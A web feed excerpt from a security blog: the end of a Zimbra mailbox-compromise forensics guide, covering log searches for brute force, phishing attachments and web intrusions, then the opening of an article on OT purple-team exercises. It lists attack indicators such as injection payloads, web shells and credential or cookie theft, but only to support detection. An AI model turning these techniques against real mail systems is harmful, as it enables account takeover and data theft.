<figure id="attachment_28554" aria-describedby="caption-attachment-28554" style="width: 1689px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28554" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/6-Retrieval-of-successful-authentication-events-audit.log_.png" alt="Retrieval of successful authentication events (audit.log)" width="1689" height="280" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/6-Retrieval-of-successful-authentication-events-audit.log_.png 1689w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/6-Retrieval-of-successful-authentication-events-audit.log_-437x72.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/6-Retrieval-of-successful-authentication-events-audit.log_-71x12.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/6-Retrieval-of-successful-authentication-events-audit.log_-768x127.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/6-Retrieval-of-successful-authentication-events-audit.log_-1536x255.png 1536w" sizes="auto, (max-width: 1689px) 100vw, 1689px" /><figcaption id="caption-attachment-28554" class="wp-caption-text"><em>Retrieval of successful authentication events (audit.log)</em></figcaption></figure>
<figure id="attachment_28556" aria-describedby="caption-attachment-28556" style="width: 1692px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28556" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/7-Retrieval-of-successful-authentication-events-mailbox.log_.png" alt="Retrieval of successful authentication events (mailbox.log)" width="1692" height="335" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/7-Retrieval-of-successful-authentication-events-mailbox.log_.png 1692w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/7-Retrieval-of-successful-authentication-events-mailbox.log_-437x87.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/7-Retrieval-of-successful-authentication-events-mailbox.log_-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/7-Retrieval-of-successful-authentication-events-mailbox.log_-768x152.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/7-Retrieval-of-successful-authentication-events-mailbox.log_-1536x304.png 1536w" sizes="auto, (max-width: 1692px) 100vw, 1692px" /><figcaption id="caption-attachment-28556" class="wp-caption-text"><em>Retrieval of successful authentication events (mailbox.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Additionally, if you have <strong>identified the attacker&#8217;s IP address</strong>, you can find all <strong>successful connections from that address</strong> using the following commands:</p>
<figure id="attachment_28558" aria-describedby="caption-attachment-28558" style="width: 1694px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28558" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/8-Retrieval-of-successful-authentication-events-via-IP-audit.log_.png" alt="Retrieval of successful authentication events via IP (audit.log)" width="1694" height="49" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/8-Retrieval-of-successful-authentication-events-via-IP-audit.log_.png 1694w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/8-Retrieval-of-successful-authentication-events-via-IP-audit.log_-437x13.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/8-Retrieval-of-successful-authentication-events-via-IP-audit.log_-71x2.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/8-Retrieval-of-successful-authentication-events-via-IP-audit.log_-768x22.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/8-Retrieval-of-successful-authentication-events-via-IP-audit.log_-1536x44.png 1536w" sizes="auto, (max-width: 1694px) 100vw, 1694px" /><figcaption id="caption-attachment-28558" class="wp-caption-text"><em>Retrieval of successful authentication events via IP (audit.log)</em></figcaption></figure>
<figure id="attachment_28560" aria-describedby="caption-attachment-28560" style="width: 1693px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28560" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/9-Retrieval-of-successful-authentication-events-via-IP-mailbox.log_.png" alt="Retrieval of successful authentication events via IP (mailbox.log)" width="1693" height="48" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/9-Retrieval-of-successful-authentication-events-via-IP-mailbox.log_.png 1693w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/9-Retrieval-of-successful-authentication-events-via-IP-mailbox.log_-437x12.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/9-Retrieval-of-successful-authentication-events-via-IP-mailbox.log_-71x2.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/9-Retrieval-of-successful-authentication-events-via-IP-mailbox.log_-768x22.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/9-Retrieval-of-successful-authentication-events-via-IP-mailbox.log_-1536x44.png 1536w" sizes="auto, (max-width: 1693px) 100vw, 1693px" /><figcaption id="caption-attachment-28560" class="wp-caption-text"><em>Retrieval of successful authentication events via IP (mailbox.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Once malicious connections have been identified, it is necessary to <strong>analyze the account activity </strong>following these accesses in order to identify the <strong>actions performed by the attacker</strong>.</p>
<p> </p>
<p><span style="text-decoration: underline;"><em><strong>Account compromise through phishing attacks</strong></em></span></p>
<p style="text-align: justify;">If no brute‑force attempts have been identified, another common initial compromise vector is the way too familiar: <strong>phishing attack</strong>! In this case, the attack does not target the Zimbra infrastructure directly: the user first receives an email prompting them to <strong>visit a fraudulent page</strong> or <strong>open a malicious file</strong>. Only after clicking does the damage occur (such as credential or session token theft).</p>
<p style="text-align: justify;">In this scenario, you should, <strong>if possible</strong>, retrieve the malicious email from the user’s mailbox for analysis. If you can obtain it, here are the <strong>key pieces of information to collect</strong>:</p>
<ul style="text-align: justify;">
<li>Date and time of receipt</li>
<li>Subject of the email</li>
<li>Sender (From)</li>
<li>Recipients (To, Cc)</li>
<li>Reply addresses (Reply-To, Return-Path)</li>
<li>IP address of the originating sending server</li>
<li>Names of attachments (if any)</li>
<li>Results of SPF, DKIM, and DMARC checks</li>
<li>Identified phishing URLs (if present)</li>
</ul>
<p style="text-align: justify;">These elements will help reconstruct the <strong>attacker’s methodology</strong>, provide <strong>initial guidance</strong> for your investigation and define <strong>first remediation measures</strong>.</p>
<p style="text-align: justify;">Unfortunately, if you <strong>do not have direct access to the user’s mailbox</strong>, you will need to rely primarily on Zimbra logs, specifically the <strong>events generated by Amavis</strong> when analyzing <strong>incoming emails</strong>.</p>
<p style="text-align: justify;">Suppose you want to <strong>identify malicious attachments</strong> sent by an attacker to users. Zimbra logs are very useful in this case, as they allow you to track the files that were analyzed and extract information such as their name, size, type, and fingerprint (SHA1).</p>
<p style="text-align: justify;">The following command allows you to identify attachments processed by Amavis during the analysis of incoming messages:</p>
<figure id="attachment_28562" aria-describedby="caption-attachment-28562" style="width: 1694px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28562" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/10-Retrieval-of-attachments-scanned-by-amavis-zimbra.log_.png" alt="Retrieval of attachments scanned by amavis (zimbra.log)" width="1694" height="311" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/10-Retrieval-of-attachments-scanned-by-amavis-zimbra.log_.png 1694w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/10-Retrieval-of-attachments-scanned-by-amavis-zimbra.log_-437x80.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/10-Retrieval-of-attachments-scanned-by-amavis-zimbra.log_-71x13.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/10-Retrieval-of-attachments-scanned-by-amavis-zimbra.log_-768x141.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/10-Retrieval-of-attachments-scanned-by-amavis-zimbra.log_-1536x282.png 1536w" sizes="auto, (max-width: 1694px) 100vw, 1694px" /><figcaption id="caption-attachment-28562" class="wp-caption-text"><em>Retrieval of attachments scanned by amavis (zimbra.log)</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">The result above shows that the file <strong>Evil.htm</strong> was analyzed by Amavis. Several useful pieces of information can be found:</p>
<ul style="text-align: justify;">
<li>Date and time: <strong>November 12 at 11:15</strong></li>
<li>SHA‑1 signature of the file: <strong>9d57b71f9f758a27ccd680f701317574174e82d8</strong></li>
<li>Size: <strong>22,111 bytes</strong></li>
<li>Content-Type: <strong>text/html</strong></li>
<li>Amavis session ID associated with this analysis: <strong>4384125-19</strong></li>
</ul>
<p style="text-align: justify;">However, on their own, these elements do not allow you to determine <strong>which users received this attachment</strong> or <strong>who the sender was</strong>. To obtain this information, a second command must be executed to retrieve all traces associated with this Amavis session:</p>
<figure id="attachment_28564" aria-describedby="caption-attachment-28564" style="width: 1317px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28564" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/11-Retrieval-of-traces-generated-by-an-amavis-analysis-session-zimbra.log_.png" alt="Retrieval of traces generated by an amavis analysis session (zimbra.log)" width="1317" height="723" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/11-Retrieval-of-traces-generated-by-an-amavis-analysis-session-zimbra.log_.png 1317w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/11-Retrieval-of-traces-generated-by-an-amavis-analysis-session-zimbra.log_-348x191.png 348w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/11-Retrieval-of-traces-generated-by-an-amavis-analysis-session-zimbra.log_-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/11-Retrieval-of-traces-generated-by-an-amavis-analysis-session-zimbra.log_-768x422.png 768w" sizes="auto, (max-width: 1317px) 100vw, 1317px" /><figcaption id="caption-attachment-28564" class="wp-caption-text"><em>Retrieval of traces generated by an amavis analysis session (zimbra.log)</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">From this information, you can now deduce that <strong>attacker@example.com</strong> sent the file <strong>Evil.htm</strong> (22,111 bytes) to <strong>user25@wavestone.corp</strong> on <strong>November 12 at 11:15</strong>, and that its SHA‑1 signature is <strong>9d57b71f9f758a27ccd680f701317574174e82d8</strong>. Not bad, right?</p>
<p style="text-align: justify;">During your investigation, you can further filter the output of these commands to identify:</p>
<ul style="text-align: justify;">
<li><strong>Attachments with suspicious extensions</strong> (e.g., *.htm, *.html, *.exe, *.js, *.arj, *.iso, *.bat, <em>.ps1,</em> or Office/PDF documents containing macros)</li>
<li><strong>Files previously observed during the early stages of the incident</strong> (for example, a file downloaded by patient zero)</li>
</ul>
<p style="text-align: justify;">During a <strong>phishing campaign</strong> involving the <strong>delivery</strong> <strong>of</strong> <strong>a</strong> <strong>malicious</strong> <strong>file</strong>, attackers often tend to distribute the <strong>same file to multiple users</strong>. It is therefore possible to rely on <strong>statistical analysis</strong> to highlight <strong>abnormal values</strong>.</p>
<p style="text-align: justify;">The following command allows you to identify <strong>identical files</strong> present in several incoming emails:</p>
<figure id="attachment_28566" aria-describedby="caption-attachment-28566" style="width: 1320px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28566" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/12-Retrieval-of-traces-generated-by-an-amavis-analysis-session-zimbra.log_.png" alt="Retrieval of traces generated by an amavis analysis session (zimbra.log)" width="1320" height="528" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/12-Retrieval-of-traces-generated-by-an-amavis-analysis-session-zimbra.log_.png 1320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/12-Retrieval-of-traces-generated-by-an-amavis-analysis-session-zimbra.log_-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/12-Retrieval-of-traces-generated-by-an-amavis-analysis-session-zimbra.log_-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/12-Retrieval-of-traces-generated-by-an-amavis-analysis-session-zimbra.log_-768x307.png 768w" sizes="auto, (max-width: 1320px) 100vw, 1320px" /><figcaption id="caption-attachment-28566" class="wp-caption-text"><em>Retrieval of traces generated by an amavis analysis session (zimbra.log)</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">The command above allows you to retrieve, for <strong>each attachment</strong> in emails received by Zimbra, the <strong>number of times it has been observed</strong> in other emails, based on its <strong>name</strong> and <strong>SHA‑1 signature</strong>.</p>
<p style="text-align: justify;">In this example, the file <strong>Evil.htm</strong> appears in <strong>40 emails</strong>, which, combined with its <em>.htm</em> extension, makes it particularly suspicious. It would therefore be relevant to attempt to <strong>retrieve this file from the affected users</strong> to verify its legitimacy.</p>
<p style="text-align: justify;">If the analysis of attachments did not help you identify the culprit, there is one last avenue to explore: retrieving phishing detections from <strong>SpamAssassin</strong> (an antispam engine executed by Amavis).</p>
<p style="text-align: justify;">The following command allows you to identify messages flagged as suspected phishing by SpamAssassin:</p>
<figure id="attachment_28568" aria-describedby="caption-attachment-28568" style="width: 1318px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28568" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/13-Retrieval-of-messages-categorized-as-phishing-by-SpamAssassin-zimbra.log-1-2.png" alt="Retrieval of messages categorized as phishing by SpamAssassin (zimbra.log) (1/2)" width="1318" height="438" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/13-Retrieval-of-messages-categorized-as-phishing-by-SpamAssassin-zimbra.log-1-2.png 1318w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/13-Retrieval-of-messages-categorized-as-phishing-by-SpamAssassin-zimbra.log-1-2-437x145.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/13-Retrieval-of-messages-categorized-as-phishing-by-SpamAssassin-zimbra.log-1-2-71x24.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/13-Retrieval-of-messages-categorized-as-phishing-by-SpamAssassin-zimbra.log-1-2-768x255.png 768w" sizes="auto, (max-width: 1318px) 100vw, 1318px" /><figcaption id="caption-attachment-28568" class="wp-caption-text"><em>Retrieval of messages categorized as phishing by SpamAssassin (zimbra.log) (1/2)</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">However, this command only provides <strong>limited information</strong>: the sender, the recipient, and the detection rules that were triggered. To obtain more details on the complete analysis, you must retrieve the <strong>Amavis session ID</strong> associated with the message (here <strong>765283-08</strong>), then execute the following command:</p>
<figure id="attachment_28570" aria-describedby="caption-attachment-28570" style="width: 1319px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28570" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/14-Retrieval-of-messages-categorized-as-phishing-by-SpamAssassin-zimbra.log-2-2.png" alt="Retrieval of messages categorized as phishing by SpamAssassin (zimbra.log) (2/2)" width="1319" height="40" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/14-Retrieval-of-messages-categorized-as-phishing-by-SpamAssassin-zimbra.log-2-2.png 1319w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/14-Retrieval-of-messages-categorized-as-phishing-by-SpamAssassin-zimbra.log-2-2-437x13.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/14-Retrieval-of-messages-categorized-as-phishing-by-SpamAssassin-zimbra.log-2-2-71x2.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/14-Retrieval-of-messages-categorized-as-phishing-by-SpamAssassin-zimbra.log-2-2-768x23.png 768w" sizes="auto, (max-width: 1319px) 100vw, 1319px" /><figcaption id="caption-attachment-28570" class="wp-caption-text"><em>Retrieval of messages categorized as phishing by SpamAssassin (zimbra.log) (2/2)</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">This second command provides access to <strong>additional information</strong> generated during the analysis of the message by Amavis.</p>
<p style="text-align: justify;">However, <strong>SpamAssassin results should be interpreted with caution</strong>, as its detection rules can generate a significant number of false positives.</p>
<p> </p>
<p><span style="text-decoration: underline;"><em><strong>Exploiting a vulnerability on the Zimbra web server</strong></em></span></p>
<p style="text-align: justify;"><strong>Your experience as a forensic investigator has taught you</strong>: this is neither the first nor the last time that an application vulnerability allows an attacker to hijack user sessions. <strong>Zimbra is no exception</strong>, and its web server, which provides access to mailboxes, could very well be vulnerable to this type of attack.</p>
<p style="text-align: justify;">Compromise of the Zimbra web server could, in theory, allow an attacker to <strong>capture credentials of users logging in</strong>. “But how can we check if Zimbra has been subjected to web intrusion attempts?” you might ask.</p>
<p style="text-align: justify;">A first step is to <strong>inspect the proxy (nginx) logs</strong> to identify <strong>malicious</strong> or <strong>suspicious</strong> <strong>HTTP</strong> <strong>requests</strong> targeting the web interface:</p>
<figure id="attachment_28572" aria-describedby="caption-attachment-28572" style="width: 1501px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28572" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/15-Retrieval-of-web-exploitation-attempts-nginx.lognginx.access.log_.png" alt="Retrieval of web exploitation attempts (nginx.log/nginx.access.log)" width="1501" height="566" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/15-Retrieval-of-web-exploitation-attempts-nginx.lognginx.access.log_.png 1501w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/15-Retrieval-of-web-exploitation-attempts-nginx.lognginx.access.log_-437x165.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/15-Retrieval-of-web-exploitation-attempts-nginx.lognginx.access.log_-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/12/15-Retrieval-of-web-exploitation-attempts-nginx.lognginx.access.log_-768x290.png 768w" sizes="auto, (max-width: 1501px) 100vw, 1501px" /><figcaption id="caption-attachment-28572" class="wp-caption-text"><em>Retrieval of web exploitation attempts (nginx.log/nginx.access.log)</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Among the indicators to look for in the logs are:</p>
<ul style="text-align: justify;">
<li>Unusual <strong>POST </strong>or<strong> PUT</strong> requests or requests to unexpected endpoints</li>
<li>Injection attempts (<strong>SQLi</strong>, <strong>LFI</strong>, <strong>RCE</strong> payloads visible in URIs or parameters)</li>
<li>Repeated access to non-public resources or atypical scripts</li>
<li>Strange <strong>User-Agents</strong> or a high concentration of requests from the same IP</li>
<li>Numerous <strong>4xx/5xx errors</strong> on sensitive paths (indicative of scanning/enumeration)</li>
<li>Signs of file uploads (attempts to access <strong>/tmp</strong>, <strong>/uploads</strong>, etc.) or hits on <strong>known web shells</strong></li>
</ul>
<p style="text-align: justify;">If you observe <strong>malicious requests</strong> that succeeded (for example, with an <strong>HTTP 200</strong> code), it is recommended to <strong>conduct a more in-depth investigation</strong> on the server to determine whether the exploitation was actually successful.</p>
<p> </p>
<p><span style="text-decoration: underline;"><em><strong>Compromise of the user&#8217;s workstation</strong></em></span></p>
<p style="text-align: justify;">If none of the previous scenarios seem to match what you are observing and the initial point of entry remains <strong>unidentified</strong>, it is possible that the attacker <strong>obtained access credentials directly from the user’s workstation</strong>.</p>
<p style="text-align: justify;">This type of compromise can occur, for example:</p>
<ul style="text-align: justify;">
<li>As a result of a <strong>previous phishing campaign</strong></li>
<li>Because the user <strong>executed a malicious program</strong> on their machine (cracks, software downloaded from a dubious site, connecting an infected USB drive, etc.)</li>
</ul>
<p style="text-align: justify;">Once able to execute code on the workstation, the attacker can easily extr<strong>act credentials stored in the browser</strong>, <strong>retrieve session cookies</strong>, or even <strong>install a keylogger</strong> to capture keystrokes.</p>
<p style="text-align: justify;">Detecting this type of compromise goes beyond the scope of this article. But keep this possibility in mind: if no intrusion traces appear in Zimbra, <strong>the problem may lie elsewhere</strong> <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" />.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Yes! The investigation is far from over! This first part has allowed you to master Zimbra’s architecture, understand the different sources of evidence, and observe that through Zimbra logs it is possible to identify several compromise techniques. However, the initial access is only the starting point of our research. In a second part, we will continue the post–initial-access analysis. First, we will try to identify the malicious actions carried out by the attacker after compromising an account. Second, we will review the various remediation measures to implement. Stay tuned, a follow-up article will be published soon to delve deeper into these next steps!</p>
<p> </p>
<h2>Sources</h2>
<ul>
<li><a href="https://wiki.zimbra.com/wiki/Log_Files"><span style="color: #333399;">https://wiki.zimbra.com/wiki/Log_Files</span></a></li>
<li><a href="https://wiki.zimbra.com/wiki/Troubleshooting_Course_Content_Rough_Drafts-Zimbra_Architecture_Component_Overview"><span style="color: #333399;">https://wiki.zimbra.com/wiki/Troubleshooting_Course_Content_Rough_Drafts-Zimbra_Architecture_Component_Overview</span></a></li>
<li><a href="https://wiki.zimbra.com/wiki/Trouble_Shooting_Spam_Score_Changes"><span style="color: #333399;">https://wiki.zimbra.com/wiki/Trouble_Shooting_Spam_Score_Changes</span></a></li>
</ul>
<p> </p>


<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/12/zimbra-mailbox-compromise-from-analysis-to-remediation/">Zimbra Mailbox Compromise: From Analysis to Remediation (Part 1)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/12/zimbra-mailbox-compromise-from-analysis-to-remediation/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Purple Teaming for OT:  How to switch from a compliance to a performance mindset?</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/12/purple-teaming-for-ot-how-to-switch-from-a-compliance-to-a-performance-mindset/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/12/purple-teaming-for-ot-how-to-switch-from-a-compliance-to-a-performance-mindset/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Wed, 10 Dec 2025 15:40:14 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[IoT & Consumer goods]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=28481</guid>

					<description><![CDATA[<p>In our previous articles of this OT cybersecurity monitoring series (Cybersecurity monitoring for OT / Cybersecurity tooling strategy), we explained the current state of OT detection capabilities and discussed the right tooling strategy.  This third article focuses on a key question: how do you measure the efficiency of...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/12/purple-teaming-for-ot-how-to-switch-from-a-compliance-to-a-performance-mindset/">Purple Teaming for OT:  How to switch from a compliance to a performance mindset?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p><span data-contrast="auto">In our previous articles of this OT cybersecurity monitoring series (</span><a href="https://www.riskinsight-wavestone.com/en/2025/09/cybersecurity-monitoring-for-ot-current-situation-perspectives/"><span data-contrast="none">Cybersecurity monitoring for OT</span></a><span data-contrast="auto"> / </span><a href="https://www.riskinsight-wavestone.com/en/2025/10/cybersecurity-tooling-strategy-for-an-effective-industrial-detection/"><span data-contrast="none">Cybersecurity tooling strategy</span></a><span data-contrast="auto">), we explained the current state of OT detection capabilities and discussed the right tooling strategy.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><span data-contrast="auto">This third article focuses on a key question: </span><b><span data-contrast="auto">how do you measure the efficiency of your OT detection?</span></b><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<h1 aria-level="1"><span data-contrast="none">From compliance to efficiency: a KPI paradigm shift</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335559738&quot;:360,&quot;335559739&quot;:80}"> </span></h1>
<p><span data-contrast="auto">KPI stands for </span><i><span data-contrast="auto">Key Performance Indicator. </span></i><span data-contrast="auto">However, we tend to create KPIs to monitor progress against our plans, not real performance. While useful, monitoring only deployment or coverage (number of sites connected to the SOC, EDR deployment on OT machines, number of probes registered to the management console) </span><b><span data-contrast="auto">tells you very little about the actual ability of your SOC to detect a real attacker.</span></b><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><span data-contrast="auto">So, how confident are you in your detection tools, use cases, and processes? The only way to be sure is simple: </span><b><span data-contrast="auto">test them. </span></b><span data-contrast="auto">And the best way to test them is through </span><b><span data-contrast="auto">Purple Team exercises</span></b><span data-contrast="auto">.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<h1 aria-level="1">What is Purple Teaming in OT? </h1>
<p><span data-contrast="auto">A Purple Team exercise is a </span><b><span data-contrast="auto">collaborative mission</span></b><span data-contrast="auto"> between the Red Team (attackers) and the Blue Team (defenders). Unlike a traditional Red Team assessment, where the defenders are kept in the dark and evaluated afterward, </span><b><span data-contrast="auto">a Purple Team exercise is an iterative, joint effort</span></b><span data-contrast="auto">.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><span data-contrast="auto">This collaborative approach allows both teams to:</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><span data-contrast="auto">Share assumptions about the OT environment</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Validate detection logic in real time</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Understand blind spots</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Improve playbooks and detection pipelines</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Align everyone around a realistic threat model</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<h1 aria-level="2">Performing a Purple Team Exercise </h1>
<p><span data-contrast="auto">A Purple Team operation can be summarized in </span><b><span data-contrast="auto">three main phases</span></b><span data-contrast="auto">:</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<h2>1. Preparation</h2>
<p><span data-contrast="auto">The preparation phase is often the most challenging, especially in OT environments, where safety, process continuity, and vendor constraints must be considered.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<p><span data-contrast="auto">Depending on the maturity of the organization, preparation can range from basic to highly sophisticated:</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><b><span data-contrast="auto">Unit Tests</span></b> <br /><span data-contrast="auto">Small, isolated tests of specific detection rules (e.g., “Detect Modbus function code 90”).</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Feared Scenario-based Testing</span></b> <br /><span data-contrast="auto">Build scenarios around the organization’s crown jewels and failure modes (e.g., “Unauthorized remote program upload on a PLC controlling a critical process”).</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">CTI-Infused Testing</span></b> <br /><span data-contrast="auto">Integrate threat intelligence: test techniques used by real OT-focused attackers (e.g. TTPs from Volt Typhoon, Sandworm, Xenotime, or ransomware groups targeting industrial environments).</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">To structure the preparation phase, two elements are essential:</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><b><span data-contrast="auto">A good knowledge of your OT environment</span></b> <br /><span data-contrast="auto">Planning an exercise that will be relevant to both the business risks &amp; OT detection without impacting the process requires a deep knowledge of the site and its automation.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><b><span data-contrast="auto">Mapping to the </span></b><a href="https://attack.mitre.org/matrices/ics/"><b><span data-contrast="none">MITRE ATT&amp;CK for ICS matrix</span></b></a> <br /><span data-contrast="auto">Mapping your tests to the ATT&amp;CK matrix allows you to have a common language with the detection teams. This allows you to select relevant techniques, avoid blind spots, and ensure coverage across multiple layers: OT workstations, PLCs, network interactions, engineering actions…</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<h2>2. D-day (Execution)</h2>
<p><span data-contrast="auto">Execution is performed jointly:</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
<ul>
<li><span data-contrast="auto">The Red Team launches controlled and authorized actions</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">The Blue Team monitors detections in real time</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
<li><span data-contrast="auto">Both teams adjust, document, and validate findings as the exercise unfolds</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></li>
</ul>
<p><span data-contrast="auto">Depending on the scope and complexity of the tests, the Purple Team operation can last from a few hours to a few days.</span><span data-ccp-props="{&quot;335559738&quot;:240,&quot;335559739&quot;:240}"> </span></p>
